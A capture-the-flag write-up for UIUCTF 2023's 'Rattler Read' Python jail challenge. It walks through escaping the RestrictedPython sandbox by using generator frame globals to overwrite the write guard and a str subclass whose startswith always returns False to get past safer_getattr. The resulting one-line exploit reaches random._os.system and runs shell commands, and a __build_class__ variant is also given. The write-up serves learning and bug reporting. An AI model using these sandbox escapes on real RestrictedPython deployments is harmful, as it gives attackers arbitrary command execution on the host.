UIUICTF 2023 - Pwn - Rattler Read

The challenge at hand is a python jail, which is one of my favourite challenge type niches.

There is a remote we can connect to, and we are provided the full source. The first thing to look at is the python source code:

from RestrictedPython import compile_restricted
from RestrictedPython import Eval
from RestrictedPython import Guards
from RestrictedPython import safe_globals
from RestrictedPython import utility_builtins
from RestrictedPython.PrintCollector import PrintCollector

def exec_poisonous(code):
    """Makes sure your code is safe to run"""

    def no_import(name, *args, **kwargs):
        raise ImportError("Don't ask another snake for help!")
    code += "\nresults = printed"
    byte_code = compile_restricted(
        code,
        filename="<string>",
        mode="exec",
    )
    policy_globals = {**safe_globals, **utility_builtins}
    policy_globals['__builtins__']['__metaclass__'] = type
    policy_globals['__builtins__']['__name__'] = type
    policy_globals['__builtins__']['__import__'] = no_import
    policy_globals['_getattr_'] = Guards.safer_getattr
    policy_globals['_getiter_'] = Eval.default_guarded_getiter
    policy_globals['_getitem_'] = Eval.default_guarded_getitem
    policy_globals['_write_'] = Guards.full_write_guard
    policy_globals['_print_'] = PrintCollector
    policy_globals['_iter_unpack_sequence_'] = Guards.guarded_iter_unpack_sequence
    policy_globals['_unpack_sequence_'] = Guards.guarded_unpack_sequence
    policy_globals['enumerate'] = enumerate
    exec(byte_code, policy_globals, None)
    return policy_globals["results"]

if __name__ == '__main__':
    print("Well, well well. Let's see just how poisonous you are..")
    print(exec_poisonous(input('> ')))

The jail is based on the RestrictedPython library, which I don’t have experience with, but it seems fairly evident what is happening. The execution environment doesn’t have access to the regular globals and set of builtins, but a restricted one. Furthermore, there are certain python internal methods that seem to get globally overridden.

 Let’s explore a bit:

Without diving too much into actually finding out how RestrictedPython works, let’s try a modern pyjail classic, using generator expressions to get access to execution frames and globals or builtins:

print((x for x in []).gi_frame.f_globals)

One thing to note is that the technique of traversing execution frames to the top-level frame outside of the jail is often enough to solve a pyjail. It’s a method I’m aware of which actually works for this chal, but I missed the fact that the frame should be evaluated within the generator for the outer frames to be populated.

This works and returns all the globals in the execution context of the generator:

{'__builtins__': {'None': None, 'False': False, 'True': True, 'abs': <built-in function abs>, 'bool': <class 'bool'>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'complex': <class 'complex'>, 'divmod': <built-in function divmod>, 'float': <class 'float'>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'int': <class 'int'>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'len': <built-in function len>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'range': <class 'range'>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'slice': <class 'slice'>, 'str': <class 'str'>, 'tuple': <class 'tuple'>, 'zip': <class 'zip'>, '__build_class__': <built-in function __build_class__>, 'ArithmeticError': <class 'ArithmeticError'>, 'AssertionError': <class 'AssertionError'>, 'AttributeError': <class 'AttributeError'>, 'BaseException': <class 'BaseException'>, 'BufferError': <class 'BufferError'>, 'BytesWarning': <class 'BytesWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'EOFError': <class 'EOFError'>, 'EnvironmentError': <class 'OSError'>, 'Exception': <class 'Exception'>, 'FloatingPointError': <class 'FloatingPointError'>, 'FutureWarning': <class 'FutureWarning'>, 'GeneratorExit': <class 'GeneratorExit'>, 'IOError': <class 'OSError'>, 'ImportError': <class 'ImportError'>, 'ImportWarning': <class 'ImportWarning'>, 'IndentationError': <class 'IndentationError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'LookupError': <class 'LookupError'>, 'MemoryError': <class 'MemoryError'>, 'NameError': <class 'NameError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'OSError': <class 'OSError'>, 'OverflowError': <class 'OverflowError'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'ReferenceError': <class 'ReferenceError'>, 'RuntimeError': <class 'RuntimeError'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'StopIteration': <class 'StopIteration'>, 'SyntaxError': <class 'SyntaxError'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'SystemError': <class 'SystemError'>, 'SystemExit': <class 'SystemExit'>, 'TabError': <class 'TabError'>, 'TypeError': <class 'TypeError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'UserWarning': <class 'UserWarning'>, 'ValueError': <class 'ValueError'>, 'Warning': <class 'Warning'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'setattr': <function guarded_setattr at 0x7fc59993fee0>, 'delattr': <function guarded_delattr at 0x7fc599944280>, '_getattr_': <function safer_getattr at 0x7fc599944310>, '__metaclass__': <class 'type'>, '__name__': <class 'type'>, '__import__': <function exec_poisonous.<locals>.no_import at 0x7fc599a84f70>}, 'string': <module 'string' from '/usr/local/lib/python3.8/string.py'>, 'math': <module 'math' from '/usr/local/lib/python3.8/lib-dynload/math.cpython-38-x86_64-linux-gnu.so'>, 'random': <module 'random' from '/usr/local/lib/python3.8/random.py'>, 'whrandom': <module 'random' from '/usr/local/lib/python3.8/random.py'>, 'set': <class 'set'>, 'frozenset': <class 'frozenset'>, 'same_type': <function same_type at 0x7fc599944790>, 'test': <function test at 0x7fc5999561f0>, 'reorder': <function reorder at 0x7fc599956a60>, '_getattr_': <function safer_getattr at 0x7fc599944310>, '_getiter_': <function default_guarded_getiter at 0x7fc59995c160>, '_getitem_': <function default_guarded_getitem at 0x7fc59995c040>, '_write_': <function _full_write_guard.<locals>.guard at 0x7fc59993fe50>, '_print_': <class 'RestrictedPython.PrintCollector.PrintCollector'>, '_iter_unpack_sequence_': <function guarded_iter_unpack_sequence at 0x7fc5999443a0>, '_unpack_sequence_': <function guarded_unpack_sequence at 0x7fc599944430>, 'enumerate': <class 'enumerate'>, '_print': <RestrictedPython.PrintCollector.PrintCollector object at 0x7fc599b25dc0>}

There seem to be quite a lot of objects here that are from the original builtins, which could be a fine foothold to work with. The module random which is imported as a result of it being an import of RestrictedPython has a ._os attribute which is a reference to the os module, which seems like a promising target if we can make it work.

Unfortunately, there are guards that restrict what we are able to do, which is where we dive into RestrictedPython.

Interestingly, default_guarded_getitem and default_guarded_getiter don’t actually do any guarding:

def default_guarded_getitem(ob, index):
    # No restrictions.
    return ob[index]

def default_guarded_getiter(ob):
    # No restrictions.
    return ob

The write guard has a pretty broad effect, overriding many object modification functions.

def _write_wrapper():
    # Construct the write wrapper class
    def _handler(secattr, error_msg):
        # Make a class method.
        def handler(self, *args):
            try:
                f = getattr(self.ob, secattr)
            except AttributeError:
                raise TypeError(error_msg)
            f(*args)
        return handler

    class Wrapper:
        def __init__(self, ob):
            self.__dict__['ob'] = ob

        __setitem__ = _handler(
            '__guarded_setitem__',
            'object does not support item or slice assignment')

        __delitem__ = _handler(
            '__guarded_delitem__',
            'object does not support item or slice assignment')

        __setattr__ = _handler(
            '__guarded_setattr__',
            'attribute-less object (assign or del)')

        __delattr__ = _handler(
            '__guarded_delattr__',
            'attribute-less object (assign or del)')
    return Wrapper
    
def _full_write_guard():
    # Nested scope abuse!
    # safetypes and Wrapper variables are used by guard()
    safetypes = {dict, list}
    Wrapper = _write_wrapper()

    def guard(ob):
        # Don't bother wrapping simple types, or objects that claim to
        # handle their own write security.
        if type(ob) in safetypes or hasattr(ob, '_guarded_writes'):
            return ob
        # Hand the object to the Wrapper instance, then return the instance.
        return Wrapper(ob)
    return guard
full_write_guard = _full_write_guard()

Lastly we’ll look at safer_getattr, which prevents us from accessing many dunder1 attributes, like an object’s .__dict__:

def safer_getattr(object, name, default=None, getattr=getattr):
    """Getattr implementation which prevents using format on string objects.

    format() is considered harmful:
    http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/

    """
    if isinstance(object, str) and name == 'format':
        raise NotImplementedError(
            'Using format() on a %s is not safe.' % object.__class__.__name__)
    if name.startswith('_'):
        raise AttributeError(
            '"{name}" is an invalid attribute name because it '
            'starts with "_"'.format(name=name)
        )
    return getattr(object, name, default)

It basically blacklists .format on string objects and any attribute access where the attribute name starts with an underscore.

 Initial thoughts on exploitation:

The first thought that I had at this point is to get attribute access via decorators: I was fairly sure that attribute access within decorators results in different AST nodes than attribute access in an expression, which would hopefully bypass the overridden getattr calls.

This would actually work, were it not for the fact that we can only input a single line, and python syntax requires a decorator to end with a newline for it to be parsed correctly. At this point I try to find out if it is possible to use a python encoding magic comment to switch the input encoding to utf7, such that we can insert newlines of that encoding into our input without ending the input('> ') call. Sadly, this doesn’t work, since the magic comment is read fully (including the newline in the new encoding at the end of the line) before it is active, so we cannot end the comment.

Another dead end that I go down is the .__get__ dunder method used for descriptors, since it isn’t overridden by RestrictedPython. It can also be called in an unfiltered way, as a result of there being seperate syntax for it. (Similar to how name[key] = value is syntactically (almost always) equivalent to name.__setitem__(key,value)). This however, doesn’t work since we don’t seem to have access to any classes for which this defined in a useful way, and we cannot define one ourselves since we cannot use the name __get__, as it is filtered.

 First find:

The first bug I find is the following:

random.random = 2; print(random.random)

This fails to execute, likely because because the guard on setting attributes (guarded_setattr), which is defined as

def guarded_setattr(object, name, value):
    setattr(full_write_guard(object), name, value)

However, full_write_guard is accesible for us in the form of '_write_' in the globals we dumped earlier. I.e. we can override this method:

(x for x in []).gi_frame.f_globals['_write_'] = lambda x: x; random.random = 2; print(random.random)

and voìla! 2 is printed whereas it was prevented before. We can now bypass full_write_guard.

This vulnerability turned out not to be necessary to solve the challenge, but it is still something I’m reporting to te RestrictedPython devs, since it really shouldn’t be possible.

 The golden ticket:

At this point I return to safer_getattr, since it is pretty much the main thing standing in our way: if only we were able to access the ._os attribute on random, we would have the challenge in the bag:

def safer_getattr(object, name, default=None, getattr=getattr):
    """Getattr implementation which prevents using format on string objects.

    format() is considered harmful:
    http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/

    """
    if isinstance(object, str) and name == 'format':
        raise NotImplementedError(
            'Using format() on a %s is not safe.' % object.__class__.__name__)
    if name.startswith('_'):
        raise AttributeError(
            '"{name}" is an invalid attribute name because it '
            'starts with "_"'.format(name=name)
        )
    return getattr(object, name, default)

Notice that the filtering on forbidden attribute names is done with name.startswith('_'), but it doesn’t actually verify that our attribute name is a string at all! Now, you may think: “How would I have an attribute name that is not a string and still do anything useful at all? All attributes have string names?" While this thought is correct, the vulnerability here lies in the fact that we can define an arbitrary subclass of string, which behaves exactly the same way as a string object, except for the specific ways that we want. This means that we can keep the regular getattr behaviour of it being a valid attribute (string) name intact, while overriding the startswith method.

What we’re trying to do this is this (not a valid input for this challenge, but for illustrative purposes):

mstr = type('mstr', (str,), {'startswith':lambda x,y:False})

I.e. we define a custom type mstr based on str, with startswith defined to always return False.

Since we have type as the __name__ attribute in our globals dictionary, and getitem isn’t guarded, we can obtain it as (x for x in []).gi_frame.f_builtins['__name__'].

This leads us to the final exploit of

mstr = (x for x in []).gi_frame.f_builtins['__name__']('mstr', (str,), {'startswith':lambda x,y:False});name = mstr('_os');print((x for x in []).gi_frame.f_builtins['_getattr_'](random,name).system('ls'))

Breaking this down:

  1. We define a custom string type which will pass the filtering in safer_getattr:
mstr = (x for x in []).gi_frame.f_builtins['__name__']('mstr', (str,), {'startswith':lambda x,y:False});
  1. We define the object that we will use as an attribute name to get to ._os:
name = mstr('_os')
  1. We use it to cal getattr on random. (Note that we couldn’t have done random.name, since it would have used to literal string “name” instead of our object.), call system and print the result:
print((x for x in []).gi_frame.f_builtins['_getattr_'](random,name).system('ls'))

This works! Now we can just cat the flag:

uiuctf{damn_1_8te_my_ta1l_ag41n}

 Final thoughts:

The exploit I used may seem to depend on the fact that we have access to the type object, through it being passed in these lines in the challenge file:

    policy_globals['__builtins__']['__metaclass__'] = type
    policy_globals['__builtins__']['__name__'] = type

One might wonder if it would be enough to not pass type here to prevent this specific attack. It is not. __build_class__ is within our globals by default in the RestrictedPython execution environment, and this serves as a fine replacement for type:

mstr = __build_class__(lambda: None, "mstr",str)
mstr.startswith = lambda x,y:True

  1. Also known as “magic” attributes and methods, for more details see the python data model documentation for details. ↩︎